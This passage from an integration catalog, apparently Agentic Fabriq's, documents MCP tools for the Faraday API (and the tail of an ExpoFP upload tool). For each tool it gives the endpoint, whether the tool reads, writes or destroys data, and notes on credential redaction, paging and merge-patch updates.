/api/v1/upload-gallery-image. Appends one picture to the exhibitor's gallery from an address ExpoFP downloads it from, and answers with the `id` of the image it stored -- the `imgId` `remove-gallery-image` takes, which also appears in `get-exhibitor`'s `images`. Unlike the logo and the leading image this ADDS rather than replaces, and an image is REQUIRED: sending no `imgUrl` answers 400 "Image required" rather than removing anything, so this tool is not destructive. The limit here is 1.5 MB, not the 5 MB the other two allow. Measured 2026-09-24: a real PNG address answers 200 {"id":26133411} and that id appears in `get-exhibitor`'s `images` one read later. Raw bytes are not offered -- the vendor's `Img` form part is deliberately not a tool argument. POST /api/v1/expofp/api/v1/upload-gallery-image. Scopes: api. ================================================================================ ## Faraday URL: https://www.agenticfabriq.com/integrations/faraday Section: Integrated Tools Faraday — 194 MCP tools Provider key: faraday. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. faraday_delete_accounts_by_account_id (write, destructive) — Delete an account via DELETE /accounts/{account_id}. Request an account deletion. In 24 hours, the account and all resources associated with it will be deleted. Contact support within the 24 hour window if you wish to reverse this. DELETE /api/v1/faraday/accounts/{account_id}. Scopes: api. faraday_delete_atlases_by_atlas_id (write, destructive) — Delete an atlas via DELETE /atlases/{atlas_id}. DELETE /api/v1/faraday/atlases/{atlas_id}. Scopes: api. faraday_delete_attributes_by_attribute_id (write, destructive) — Delete an attribute via DELETE /attributes/{attribute_id}. DELETE /api/v1/faraday/attributes/{attribute_id}. Scopes: api. faraday_delete_cohorts_by_cohort_id (write, destructive) — Delete a cohort via DELETE /cohorts/{cohort_id}. DELETE /api/v1/faraday/cohorts/{cohort_id}. Scopes: api. faraday_delete_connections_by_connection_id (write, destructive) — Delete a connection via DELETE /connections/{connection_id}. DELETE /api/v1/faraday/connections/{faraday_connection_id}. Scopes: api. faraday_delete_datasets_by_dataset_id (write, destructive) — Delete a dataset via DELETE /datasets/{dataset_id}. DELETE /api/v1/faraday/datasets/{dataset_id}. Scopes: api. faraday_delete_feature_stores_by_feature_store_id (write, destructive) — Delete a feature store via DELETE /feature_stores/{feature_store_id}. DELETE /api/v1/faraday/feature_stores/{feature_store_id}. Scopes: api. faraday_delete_knowledgebase_use_cases_by_use_case_id (write, destructive) — Delete a use case via DELETE /knowledgebase/use_cases/{use_case_id}. Delete a use case. Unlike archiving, a deleted use case is no longer returned by any read, including when listing archived use cases. DELETE /api/v1/faraday/knowledgebase/use_cases/{use_case_id}. Scopes: api. faraday_delete_market_opportunity_analyses_by_market_opportunity_analysis_id (write, destructive) — Delete a specific market opportunity analysis via DELETE /market_opportunity_analyses/{market_opportunity_analysis_id}. DELETE /api/v1/faraday/market_opportunity_analyses/{market_opportunity_analysis_id}. Scopes: api. faraday_delete_migrations_by_migration_id (write, destructive) — Delete a migration via DELETE /migrations/{migration_id}. DELETE /api/v1/faraday/migrations/{migration_id}. Scopes: api. faraday_delete_outcomes_by_outcome_id (write, destructive) — Delete an outcome via DELETE /outcomes/{outcome_id}. DELETE /api/v1/faraday/outcomes/{outcome_id}. Scopes: api. faraday_delete_persona_sets_by_persona_set_id (write, destructive) — Delete a persona set via DELETE /persona_sets/{persona_set_id}. DELETE /api/v1/faraday/persona_sets/{persona_set_id}. Scopes: api. faraday_delete_places_by_place_id (write, destructive) — DEPRECATED by Faraday: this operation is marked deprecated in Faraday's own API reference. It still answers, so it remains available for accounts that already hold this data, but prefer the successor named below for new work. Delete a place via DELETE /places/{place_id}. Delete a place. Places are superseded by atlases, whose locations are built from a connection or an uploaded file. See DELETE /atlases/{atlas_id}. DELETE /api/v1/faraday/places/{place_id}. Scopes: api. faraday_delete_recommenders_by_recommender_id (write, destructive) — Delete a recommender via DELETE /recommenders/{recommender_id}. DELETE /api/v1/faraday/recommenders/{recommender_id}. Scopes: api. faraday_delete_scopes_by_scope_id (write, destructive) — Delete a scope via DELETE /scopes/{scope_id}. DELETE /api/v1/faraday/scopes/{scope_id}. Scopes: api. faraday_delete_streams_by_stream_id_or_name (write, destructive) — Delete a stream via DELETE /streams/{stream_id_or_name}. DELETE /api/v1/faraday/streams/{stream_id_or_name}. Scopes: api. faraday_delete_targets_by_target_id (write, destructive) — Delete a target via DELETE /targets/{target_id}. DELETE /api/v1/faraday/targets/{target_id}. Scopes: api. faraday_delete_traits (write, destructive) — Delete all orphaned traits via DELETE /traits. Delete all traits without a source dataset. DELETE /api/v1/faraday/traits. Scopes: api. faraday_delete_traits_by_trait_id (write, destructive) — Delete a trait via DELETE /traits/{trait_id}. DELETE /api/v1/faraday/traits/{trait_id}. Scopes: api. faraday_delete_uploads_by_directory_by_filename (write, destructive) — Delete a file via DELETE /uploads/{directory}/{filename}. Delete a CSV file previously uploaded. DELETE /api/v1/faraday/uploads/{directory}/{filename}. Scopes: api. faraday_delete_webhook_endpoints_by_webhook_endpoint_id (write, destructive) — Delete a webhook endpoint via DELETE /webhook_endpoints/{webhook_endpoint_id}. DELETE /api/v1/faraday/webhook_endpoints/{webhook_endpoint_id}. Scopes: api. faraday_get_accounts (read) — List accounts via GET /accounts. Get a list of accounts defined on the account. The response body carries CREDENTIALS, which this integration redacts before returning it: the account object's own api_key, and any third-party secret stored in a connection's or target's options (api_key, client_secret, credentials_json, ftp_private_key, ftp_user_password, password, private_api_key, secret, token). Every other field, including the public keys Faraday generates for Snowflake and ClickHouse, comes through intact. Read a redacted value in the Faraday dashboard. The ids filter is repeated, not comma-separated: ?ids=
&ids=, at most 100 per call. GET /api/v1/faraday/accounts. Scopes: api. faraday_get_accounts_by_account_id (read) — Retrieve an account via GET /accounts/{account_id}. Get details on a specific account. This must be an account controlled by your API key. The response body carries CREDENTIALS, which this integration redacts before returning it: the account object's own api_key, and any third-party secret stored in a connection's or target's options (api_key, client_secret, credentials_json, ftp_private_key, ftp_user_password, password, private_api_key, secret, token). Every other field, including the public keys Faraday generates for Snowflake and ClickHouse, comes through intact. Read a redacted value in the Faraday dashboard. GET /api/v1/faraday/accounts/{account_id}. Scopes: api. faraday_get_accounts_by_account_id_billing (read) — Get billing information about your account via GET /accounts/{account_id}/billing. Get invoices, payments, and usage stats for your account. GET /api/v1/faraday/accounts/{account_id}/billing. Scopes: api. faraday_get_accounts_by_account_id_usage (read) — Get usage metrics for a specific account via GET /accounts/{account_id}/usage. GET /api/v1/faraday/accounts/{account_id}/usage. Scopes: api. faraday_get_accounts_current (read) — Retrieve current account via GET /accounts/current. Get details on the current account, as identified by the API key. The response body carries CREDENTIALS, which this integration redacts before returning it: the account object's own api_key, and any third-party secret stored in a connection's or target's options (api_key, client_secret, credentials_json, ftp_private_key, ftp_user_password, password, private_api_key, secret, token). Every other field, including the public keys Faraday generates for Snowflake and ClickHouse, comes through intact. Read a redacted value in the Faraday dashboard. GET /api/v1/faraday/accounts/current. Scopes: api. faraday_get_accounts_current_billing (read) — Get billing information about the current account via GET /accounts/current/billing. Get invoices, payments, and usage stats for the current account. GET /api/v1/faraday/accounts/current/billing. Scopes: api. faraday_get_accounts_current_usage (read) — Get usage metrics for current account via GET /accounts/current/usage. Get historical usage metrics for the current account from the most recent metrics dashboard event. GET /api/v1/faraday/accounts/current/usage. Scopes: api. faraday_get_accounts_current_usage_all (read) — Get usage metrics for current and sub accounts via GET /accounts/current/usage/all. Get aggregated historical usage metrics for the current account and all of its sub-accounts. GET /api/v1/faraday/accounts/current/usage/all. Scopes: api. faraday_get_atlases (read) — List atlases via GET /atlases. Get a list of the atlases defined on the account. The ids filter is repeated, not comma-separated: ?ids=&ids=, at most 100 per call. GET /api/v1/faraday/atlases. Scopes: api. faraday_get_atlases_by_atlas_id (read) — Retrieve an atlas via GET /atlases/{atlas_id}. Retrieve details on a specific atlas. GET /api/v1/faraday/atlases/{atlas_id}. Scopes: api. faraday_get_atlases_by_atlas_id_locations (read) — List the locations of an atlas via GET /atlases/{atlas_id}/locations. Get a list of the locations belonging to a specific atlas. Paged with limit and offset, not a cursor. There is no next link in the response, so page by advancing offset by limit until a short page comes back. GET /api/v1/faraday/atlases/{atlas_id}/locations. Scopes: api. faraday_get_attributes (read) — List attributes via GET /attributes. Get a list of attributes defined on the account. The ids filter is repeated, not comma-separated: ?ids=&ids=, at most 100 per call. GET /api/v1/faraday/attributes. Scopes: api. faraday_get_attributes_by_attribute_id (read) — Retrieve an attribute via GET /attributes/{attribute_id}. Get details on a specific attribute. GET /api/v1/faraday/attributes/{attribute_id}. Scopes: api. faraday_get_cohorts (read) — List cohorts via GET /cohorts. Get a list of cohorts defined on the account. The ids filter is repeated, not comma-separated: ?ids=&ids=, at most 100 per call. GET /api/v1/faraday/cohorts. Scopes: api. faraday_get_cohorts_by_cohort_id (read) — Retrieve a cohort via GET /cohorts/{cohort_id}. Get details on a specific cohort. GET /api/v1/faraday/cohorts/{cohort_id}. Scopes: api. faraday_get_cohorts_by_cohort_id_analysis_membership (read) — Get the cohort membership counts over time via GET /cohorts/{cohort_id}/analysis/membership. GET /api/v1/faraday/cohorts/{cohort_id}/analysis/membership. Scopes: api. faraday_get_connections (read) — List connections via GET /connections. Get a list of connections defined on the account. The response body carries CREDENTIALS, which this integration redacts before returning it: the account object's own api_key, and any third-party secret stored in a connection's or target's options (api_key, client_secret, credentials_json, ftp_private_key, ftp_user_password, password, private_api_key, secret, token). Every other field, including the public keys Faraday generates for Snowflake and ClickHouse, comes through intact. Read a redacted value in the Faraday dashboard. The ids filter is repeated, not comma-separated: ?ids=&ids=, at most 100 per call. GET /api/v1/faraday/connections. Scopes: api. faraday_get_connections_by_connection_id (read) — Retrieve a connection via GET /connections/{connection_id}. Get details on a specific connection. The response body carries CREDENTIALS, which this integration redacts before returning it: the account object's own api_key, and any third-party secret stored in a connection's or target's options (api_key, client_secret, credentials_json, ftp_private_key, ftp_user_password, password, private_api_key, secret, token). Every other field, including the public keys Faraday generates for Snowflake and ClickHouse, comes through intact. Read a redacted value in the Faraday dashboard. GET /api/v1/faraday/connections/{faraday_connection_id}. Scopes: api. faraday_get_connections_by_connection_id_datasets (read) — Retrieve all datasets that use this connection via GET /connections/{connection_id}/datasets. Get all datasets that use this connection. GET /api/v1/faraday/connections/{faraday_connection_id}/datasets. Scopes: api. faraday_get_connections_by_connection_id_targets (read) — Retrieve all targets that use this connection via GET /connections/{connection_id}/targets. Get all targets that use this connection. The response body carries CREDENTIALS, which this integration redacts before returning it: the account object's own api_key, and any third-party secret stored in a connection's or target's options (api_key, client_secret, credentials_json, ftp_private_key, ftp_user_password, password, private_api_key, secret, token). Every other field, including the public keys Faraday generates for Snowflake and ClickHouse, comes through intact. Read a redacted value in the Faraday dashboard. GET /api/v1/faraday/connections/{faraday_connection_id}/targets. Scopes: api. faraday_get_datasets (read) — List datasets via GET /datasets. Get a list of the datasets defined on the account. The ids filter is repeated, not comma-separated: ?ids=&ids=, at most 100 per call. GET /api/v1/faraday/datasets. Scopes: api. faraday_get_datasets_by_dataset_id (read) — Retrieve a dataset via GET /datasets/{dataset_id}. Retrieve details on a specific dataset. GET /api/v1/faraday/datasets/{dataset_id}. Scopes: api. faraday_get_datasets_by_dataset_id_logs_ingress (read) — Get dataset ingress metrics over time via GET /datasets/{dataset_id}/logs/ingress. Retrieves ingress metrics for a specific dataset. Paged with limit and offset, not a cursor. There is no next link in the response, so page by advancing offset by limit until a short page comes back. GET /api/v1/faraday/datasets/{dataset_id}/logs/ingress. Scopes: api. faraday_get_datasets_by_dataset_id_logs_ingress_by_log_id (read) — Get a single dataset ingress log by ID via GET /datasets/{dataset_id}/logs/ingress/{log_id}. Retrieves a specific ingress log entry for a dataset. GET /api/v1/faraday/datasets/{dataset_id}/logs/ingress/{log_id}. Scopes: api. faraday_get_feature_stores (read) — List feature stores via GET /feature_stores. Get a list of feature stores defined on the account. The ids filter is repeated, not comma-separated: ?ids=&ids=, at most 100 per call. GET /api/v1/faraday/feature_stores. Scopes: api. faraday_get_feature_stores_by_feature_store_id (read) — Retrieve a feature store via GET /feature_stores/{feature_store_id}. Get details on a specific feature store. GET /api/v1/faraday/feature_stores/{feature_store_id}. Scopes: api. faraday_get_graph (read) — Retrieve a dependency graph for all resources on an account via GET /graph. Each object in the list is an edge in the dependency graph. GET /api/v1/faraday/graph. Scopes: api. faraday_get_knowledgebase_overview (read) — Retrieve the account overview via GET /knowledgebase/overview. Get the current revision of this account's knowledgebase overview. If no overview has ever been written, `revision_id` and `created_at` are absent and `content` is the empty string. GET /api/v1/faraday/knowledgebase/overview. Scopes: api. faraday_get_knowledgebase_overview_revisions (read) — List account overview revisions via GET /knowledgebase/overview/revisions. List every saved revision of the account overview, newest first. GET /api/v1/faraday/knowledgebase/overview/revisions. Scopes: api. faraday_get_knowledgebase_overview_revisions_by_revision_id (read) — Retrieve a specific account overview revision via GET /knowledgebase/overview/revisions/{revision_id}. Read an older saved revision of the account overview. The shape matches the current-revision endpoint. GET /api/v1/faraday/knowledgebase/overview/revisions/{revision_id}. Scopes: api. faraday_get_knowledgebase_use_cases (read) — List use cases via GET /knowledgebase/use_cases. Get a list of use cases for the calling account. Returns summary fields only; fetch a specific use case to see its preface, guide, and resources. The ids filter is repeated, not comma-separated: ?ids=&ids=, at most 100 per call. GET /api/v1/faraday/knowledgebase/use_cases. Scopes: api. faraday_get_knowledgebase_use_cases_by_use_case_id (read) — Retrieve a use case via GET /knowledgebase/use_cases/{use_case_id}. Get the full current revision of a use case, including its computed `resources` list. GET /api/v1/faraday/knowledgebase/use_cases/{use_case_id}. Scopes: api. faraday_get_knowledgebase_use_cases_by_use_case_id_revisions (read) — List use case revisions via GET /knowledgebase/use_cases/{use_case_id}/revisions. List every saved revision of a use case, newest first. GET /api/v1/faraday/knowledgebase/use_cases/{use_case_id}/revisions. Scopes: api. faraday_get_knowledgebase_use_cases_by_use_case_id_revisions_by_revision_id (read) — Retrieve a specific use case revision via GET /knowledgebase/use_cases/{use_case_id}/revisions/{revision_id}. Read an older saved revision of a use case. The shape matches the current-revision endpoint, except `resources` is omitted (resources are a live computed property, not part of the versioned content). GET /api/v1/faraday/knowledgebase/use_cases/{use_case_id}/revisions/{revision_id}. Scopes: api. faraday_get_locations (read) — List locations via GET /locations. Get a list of the locations belonging to every atlas on the account. Paged with limit and offset, not a cursor. There is no next link in the response, so page by advancing offset by limit until a short page comes back. GET /api/v1/faraday/locations. Scopes: api. faraday_get_market_opportunity_analyses (read) — Get all market opportunity analyses via GET /market_opportunity_analyses. The ids filter is repeated, not comma-separated: ?ids=&ids=, at most 100 per call. GET /api/v1/faraday/market_opportunity_analyses. Scopes: api. faraday_get_market_opportunity_analyses_by_market_opportunity_analysis_id (read) — Get a specific market opportunity analysis via GET /market_opportunity_analyses/{market_opportunity_analysis_id}. GET /api/v1/faraday/market_opportunity_analyses/{market_opportunity_analysis_id}. Scopes: api. faraday_get_migrations (read) — List migrations via GET /migrations. The ids filter is repeated, not comma-separated: ?ids=&ids=, at most 100 per call. GET /api/v1/faraday/migrations. Scopes: api. faraday_get_migrations_by_migration_id (read) — Retrieve a migration via GET /migrations/{migration_id}. GET /api/v1/faraday/migrations/{migration_id}. Scopes: api. faraday_get_outcomes (read) — List outcomes via GET /outcomes. Get a list of outcomes defined on the account. The ids filter is repeated, not comma-separated: ?ids=&ids=, at most 100 per call. GET /api/v1/faraday/outcomes. Scopes: api. faraday_get_outcomes_by_outcome_id (read) — Retrieve an outcome via GET /outcomes/{outcome_id}. Get details on a specific outcome. GET /api/v1/faraday/outcomes/{outcome_id}. Scopes: api. faraday_get_outcomes_by_outcome_id_analysis (read) — Retrieve an outcome's analysis via GET /outcomes/{outcome_id}/analysis. Get details on a specific outcome's analysis report on model performance, bias, etc. GET /api/v1/faraday/outcomes/{outcome_id}/analysis. Scopes: api. faraday_get_outcomes_by_outcome_id_report_html (read) — Retrieve outcome report via GET /outcomes/{outcome_id}/report.html. Download an HTML report containing information such as the objective of the model, performance, and important features. GET /api/v1/faraday/outcomes/{outcome_id}/report.html. Scopes: api. faraday_get_persona_sets (read) — List persona sets via GET /persona_sets. A list of available persona sets. The ids filter is repeated, not comma-separated: ?ids=&ids=, at most 100 per call. GET /api/v1/faraday/persona_sets. Scopes: api. faraday_get_persona_sets_by_persona_set_id (read) — Retrieve a persona set via GET /persona_sets/{persona_set_id}. Details on a specific persona set, including details on all of its constituent personas. GET /api/v1/faraday/persona_sets/{persona_set_id}. Scopes: api. faraday_get_persona_sets_by_persona_set_id_analysis_dimensions (read) — Get various trait breakdown information about a persona set via GET /persona_sets/{persona_set_id}/analysis/dimensions. GET /api/v1/faraday/persona_sets/{persona_set_id}/analysis/dimensions. Scopes: api. faraday_get_persona_sets_by_persona_set_id_analysis_flow (read) — DEPRECATED by Faraday: this operation is marked deprecated in Faraday's own API reference. It still answers, so it remains available for accounts that already hold this data, but prefer the successor named below for new work. Get various flow of persona sets over time via GET /persona_sets/{persona_set_id}/analysis/flow. GET /api/v1/faraday/persona_sets/{persona_set_id}/analysis/flow. Scopes: api. faraday_get_places (read) — DEPRECATED by Faraday: this operation is marked deprecated in Faraday's own API reference. It still answers, so it remains available for accounts that already hold this data, but prefer the successor named below for new work. List places via GET /places. Get a list of the places defined on the account. Geometry and addresses are omitted from this endpoint's response to avoid overly large response sizes. If you want to inspect a place's geometry or addresses, then use GET /places/. Places are superseded by atlases, whose locations are built from a connection or an uploaded file. See GET /atlases. The ids filter is repeated, not comma-separated: ?ids=&ids=, at most 100 per call. GET /api/v1/faraday/places. Scopes: api. faraday_get_places_by_place_id (read) — DEPRECATED by Faraday: this operation is marked deprecated in Faraday's own API reference. It still answers, so it remains available for accounts that already hold this data, but prefer the successor named below for new work. Retrieve a place via GET /places/{place_id}. Retrieve details on a specific place. Places are superseded by atlases, whose locations are built from a connection or an uploaded file. See GET /atlases/{atlas_id}. GET /api/v1/faraday/places/{place_id}. Scopes: api. faraday_get_recommenders (read) — List recommenders via GET /recommenders. Get a list of recommenders defined on the account. The ids filter is repeated, not comma-separated: ?ids=&ids=, at most 100 per call. GET /api/v1/faraday/recommenders. Scopes: api. faraday_get_recommenders_by_recommender_id (read) — Retrieve a recommender via GET /recommenders/{recommender_id}. Get details on a specific recommender. GET /api/v1/faraday/recommenders/{recommender_id}. Scopes: api. faraday_get_recommenders_by_recommender_id_analysis (read) — Retrieve a recommenders's analysis via GET /recommenders/{recommender_id}/analysis. Get details on a specific recommender's analysis report on model performance, bias, etc. GET /api/v1/faraday/recommenders/{recommender_id}/analysis. Scopes: api. faraday_get_scopes (read) — List scopes via GET /scopes. Get a list of scopes defined on the account. The ids filter is repeated, not comma-separated: ?ids=&ids=, at most 100 per call. GET /api/v1/faraday/scopes. Scopes: api. faraday_get_scopes_by_scope_id (read) — Retrieve a scope via GET /scopes/{scope_id}. Get details on a specific scope. GET /api/v1/faraday/scopes/{scope_id}. Scopes: api. faraday_get_scopes_by_scope_id_analysis (read) — Get analysis for a scope via GET /scopes/{scope_id}/analysis. GET /api/v1/faraday/scopes/{scope_id}/analysis. Scopes: api. faraday_get_scopes_by_scope_id_analysis_geography (read) — Get geographic breakdown for a scope via GET /scopes/{scope_id}/analysis/geography. Get a postcode- and state-level breakdown of the scope population, including per-payload-cohort counts. `postcodes` may be omitted when the scope spans more than 250 distinct postcodes (the UI distribution table saturates at that point); `states` is always present. GET /api/v1/faraday/scopes/{scope_id}/analysis/geography. Scopes: api. faraday_get_scopes_by_scope_id_datasets (read) — Retrieve all datasets associated with a scope via GET /scopes/{scope_id}/datasets. Retrieve all datasets associated with a scope. For example, if your scope has population_cohorts, you built those cohorts using data from one of your datasets. This endpoint gets all such datasets. This can be used with referenced targets, to figure out which source tables the target can reference. GET /api/v1/faraday/scopes/{scope_id}/datasets. Scopes: api. faraday_get_scopes_by_scope_id_efficacy (read) — Get efficacy for a scope via GET /scopes/{scope_id}/efficacy. GET /api/v1/faraday/scopes/{scope_id}/efficacy. Scopes: api. faraday_get_scopes_by_scope_id_payload_cohorts (read) — Get payload cohorts for a scope via GET /scopes/{scope_id}/payload/cohorts. GET /api/v1/faraday/scopes/{scope_id}/payload/cohorts. Scopes: api. faraday_get_scopes_by_scope_id_payload_outcomes (read) — Get payload outcomes for a scope via GET /scopes/{scope_id}/payload/outcomes. GET /api/v1/faraday/scopes/{scope_id}/payload/outcomes. Scopes: api. faraday_get_scopes_by_scope_id_payload_persona_sets (read) — Get payload persona sets for a scope via GET /scopes/{scope_id}/payload/persona_sets. GET /api/v1/faraday/scopes/{scope_id}/payload/persona_sets. Scopes: api. faraday_get_scopes_by_scope_id_payload_recommenders (read) — Get payload recommenders for a scope via GET /scopes/{scope_id}/payload/recommenders. GET /api/v1/faraday/scopes/{scope_id}/payload/recommenders. Scopes: api. faraday_get_scopes_by_scope_id_population_cohorts (read) — Get population cohorts for a scope via GET /scopes/{scope_id}/population/cohorts. GET /api/v1/faraday/scopes/{scope_id}/population/cohorts. Scopes: api. faraday_get_scopes_by_scope_id_population_exclusion_address_level_cohorts (read) — Get address-level population exclusion cohorts for a scope via GET /scopes/{scope_id}/population/exclusion_address_level_cohorts. GET /api/v1/faraday/scopes/{scope_id}/population/exclusion_address_level_cohorts. Scopes: api. faraday_get_scopes_by_scope_id_population_exclusion_cohorts (read) — Get population exclusion cohorts for a scope via GET /scopes/{scope_id}/population/exclusion_cohorts. GET /api/v1/faraday/scopes/{scope_id}/population/exclusion_cohorts. Scopes: api. faraday_get_scopes_by_scope_id_targets (read) — Get targets for a scope via GET /scopes/{scope_id}/targets. The response body carries CREDENTIALS, which this integration redacts before returning it: the account object's own api_key, and any third-party secret stored in a connection's or target's options (api_key, client_secret, credentials_json, ftp_private_key, ftp_user_password, password, private_api_key, secret, token). Every other field, including the public keys Faraday generates for Snowflake and ClickHouse, comes through intact. Read a redacted value in the Faraday dashboard. GET /api/v1/faraday/scopes/{scope_id}/targets. Scopes: api. faraday_get_streams (read) — List streams via GET /streams. List all streams present on the account. The ids filter is repeated, not comma-separated: ?ids=&ids=, at most 100 per call. GET /api/v1/faraday/streams. Scopes: api. faraday_get_streams_by_stream_id_or_name (read) — Retrieve a stream via GET /streams/{stream_id_or_name}. Look up a specific event stream. GET /api/v1/faraday/streams/{stream_id_or_name}. Scopes: api. faraday_get_streams_by_stream_id_or_name_analysis (read) — Get the count of stream events emitted over a time period via GET /streams/{stream_id_or_name}/analysis. GET /api/v1/faraday/streams/{stream_id_or_name}/analysis. Scopes: api. faraday_get_targets (read) — List targets via GET /targets. Get a list of targets defined on the account. The response body carries CREDENTIALS, which this integration redacts before returning it: the account object's own api_key, and any third-party secret stored in a connection's or target's options (api_key, client_secret, credentials_json, ftp_private_key, ftp_user_password, password, private_api_key, secret, token). Every other field, including the public keys Faraday generates for Snowflake and ClickHouse, comes through intact. Read a redacted value in the Faraday dashboard. The ids filter is repeated, not comma-separated: ?ids=&ids=, at most 100 per call. GET /api/v1/faraday/targets. Scopes: api. faraday_get_targets_by_target_id (read) — Retrieve a target via GET /targets/{target_id}. Get details on a specific target. The response body carries CREDENTIALS, which this integration redacts before returning it: the account object's own api_key, and any third-party secret stored in a connection's or target's options (api_key, client_secret, credentials_json, ftp_private_key, ftp_user_password, password, private_api_key, secret, token). Every other field, including the public keys Faraday generates for Snowflake and ClickHouse, comes through intact. Read a redacted value in the Faraday dashboard. GET /api/v1/faraday/targets/{target_id}. Scopes: api. faraday_get_targets_by_target_id_analysis (read) — Retrieve a target's analysis via GET /targets/{target_id}/analysis. Get details on a target's analysis report for specific trait, attribute, and/or geography dimensions. GET /api/v1/faraday/targets/{target_id}/analysis. Scopes: api. faraday_get_targets_by_target_id_analysis_pdf (read) — Retrieve target analysis report via GET /targets/{target_id}/analysis/pdf. Gets a redirect URL to download a PDF report. GET /api/v1/faraday/targets/{target_id}/analysis/pdf. Scopes: api. faraday_get_targets_by_target_id_download_csv (read) — Download the default output of a target via GET /targets/{target_id}/download.csv. GET /api/v1/faraday/targets/{target_id}/download.csv. Scopes: api. faraday_get_traits (read) — List all user-defined and Faraday-provided traits via GET /traits. Get a list of all available traits, including those provided by Faraday and those defined by the user. The ids filter is repeated, not comma-separated: ?ids=&ids=, at most 100 per call. GET /api/v1/faraday/traits. Scopes: api. faraday_get_traits_by_trait_id (read) — Get a specific trait via GET /traits/{trait_id}. Get a specific trait by ID. GET /api/v1/faraday/traits/{trait_id}. Scopes: api. faraday_get_traits_by_trait_id_analysis_dimensions (read) — The percentage of the US population that falls into each category of this trait via GET /traits/{trait_id}/analysis/dimensions. GET /api/v1/faraday/traits/{trait_id}/analysis/dimensions. Scopes: api. faraday_get_traits_csv (read) — List all user-defined and Faraday-provided traits, in csv form via GET /traits.csv. Get a csv of all available traits, including those provided by Faraday and those defined by the user. GET /api/v1/faraday/traits.csv. Scopes: api. faraday_get_uploads (read) — Retrieve the list of previously uploaded files via GET /uploads. A list of files uploaded via /uploads/{directory}/{filename}, and their metadata. GET /api/v1/faraday/uploads. Scopes: api. faraday_get_uploads_by_directory_by_filename (read) — Download a previously uploaded file via GET /uploads/{directory}/{filename}. The file uploaded via /uploads/{directory}/{filename}. GET /api/v1/faraday/uploads/{directory}/{filename}. Scopes: api. faraday_get_usages (read) — Get usage stats for your account via GET /usages. GET /api/v1/faraday/usages. Scopes: api. faraday_get_webhook_endpoints (read) — List webhook endpoints via GET /webhook_endpoints. Get a list of webhook endpoints defined on the account. The response body carries CREDENTIALS, which this integration redacts before returning it: the account object's own api_key, and any third-party secret stored in a connection's or target's options (api_key, client_secret, credentials_json, ftp_private_key, ftp_user_password, password, private_api_key, secret, token). Every other field, including the public keys Faraday generates for Snowflake and ClickHouse, comes through intact. Read a redacted value in the Faraday dashboard. The ids filter is repeated, not comma-separated: ?ids=&ids=, at most 100 per call. GET /api/v1/faraday/webhook_endpoints. Scopes: api. faraday_get_webhook_endpoints_by_webhook_endpoint_id (read) — Retrieve a webhook via GET /webhook_endpoints/{webhook_endpoint_id}. Get details on a specific webhook endpoint. The response body carries CREDENTIALS, which this integration redacts before returning it: the account object's own api_key, and any third-party secret stored in a connection's or target's options (api_key, client_secret, credentials_json, ftp_private_key, ftp_user_password, password, private_api_key, secret, token). Every other field, including the public keys Faraday generates for Snowflake and ClickHouse, comes through intact. Read a redacted value in the Faraday dashboard. GET /api/v1/faraday/webhook_endpoints/{webhook_endpoint_id}. Scopes: api. faraday_patch_accounts_by_account_id (write) — Update an account via PATCH /accounts/{account_id}. Update the configuration of an account. This is an RFC 7396 MERGE PATCH: send only the fields you are changing, and send an explicit null to CLEAR a field. Omitting a field leaves it alone; sending null erases it. The request goes out with Content-Type application/merge-patch+json, which this integration sets. The response body carries CREDENTIALS, which this integration redacts before returning it: the account object's own api_key, and any third-party secret stored in a connection's or target's options (api_key, client_secret, credentials_json, ftp_private_key, ftp_user_password, password, private_api_key, secret, token). Every other field, including the public keys Faraday generates for Snowflake and ClickHouse, comes through intact. Read a redacted value in the Faraday dashboard. PATCH /api/v1/faraday/accounts/{account_id}. Scopes: api. faraday_patch_atlases_by_atlas_id (write) — Update atlas via PATCH /atlases/{atlas_id}. Update an existing atlas. This is an RFC 7396 MERGE PATCH: send only the fields you are changing, and send an explicit null to CLEAR a field. Omitting a field leaves it alone; sending null erases it. The request goes out with Content-Type application/merge-patch+json, which this integration sets. PATCH /api/v1/faraday/atlases/{atlas_id}. Scopes: api. faraday_patch_attributes_by_attribute_id (write) — Update an attribute via PATCH /attributes/{attribute_id}. Update the configuration of an attribute. This is an RFC 7396 MERGE PATCH: send only the fields you are changing, and send an explicit null to CLEAR a field. Omitting a field leaves it alone; sending null erases it. The request goes out with Content-Type application/merge-patch+json, which this integration sets. PATCH /api/v1/faraday/attributes/{attribute_id}. Scopes: api. faraday_patch_cohorts_by_cohort_id (write) — Edit a cohort via PATCH /cohorts/{cohort_id}. Edit configuration of a cohort. This is an RFC 7396 MERGE PATCH: send only the fields you are changing, and send an explicit null to CLEAR a field. Omitting a field leaves it alone; sending null erases it. The request goes out with Content-Type application/merge-patch+json, which this integration sets. PATCH /api/v1/faraday/cohorts/{cohort_id}. Scopes: api. faraday_patch_connections_by_connection_id (write) — Update a connection via PATCH /connections/{connection_id}. Update the configuration of a connection. This is an RFC 7396 MERGE PATCH: send only the fields you are changing, and send an explicit null to CLEAR a field. Omitting a field leaves it alone; sending null erases it. The request goes out with Content-Type application/merge-patch+json, which this integration sets. The response body carries CREDENTIALS, which this integration redacts before returning it: the account object's own api_key, and any third-party secret stored in a connection's or target's options (api_key, client_secret, credentials_json, ftp_private_key, ftp_user_password, password, private_api_key, secret, token). Every other field, including the public keys Faraday generates for Snowflake and ClickHouse, comes through intact. Read a redacted value in the Faraday dashboard. PATCH /api/v1/faraday/connections/{faraday_connection_id}. Scopes: api. faraday_patch_datasets_by_dataset_id (write) — Update dataset via PATCH /datasets/{dataset_id}. Update an existing dataset. This is an RFC 7396 MERGE PATCH: send only the fields you are changing, and send an explicit null to CLEAR a field. Omitting a field leaves it alone; sending null erases it. The request goes out with Content-Type application/merge-patch+json, which this integration sets. PATCH /api/v1/faraday/datasets/{dataset_id}. Scopes: api. faraday_patch_feature_stores_by_feature_store_id (write) — Update a feature store via PATCH /feature_stores/{feature_store_id}. Update the configuration of a feature store. This is an RFC 7396 MERGE PATCH: send only the fields you are changing, and send an explicit null to CLEAR a field. Omitting a field leaves it alone; sending null erases it. The request goes out with Content-Type application/merge-patch+json, which this integration sets. PATCH /api/v1/faraday/feature_stores/{feature_store_id}. Scopes: api. 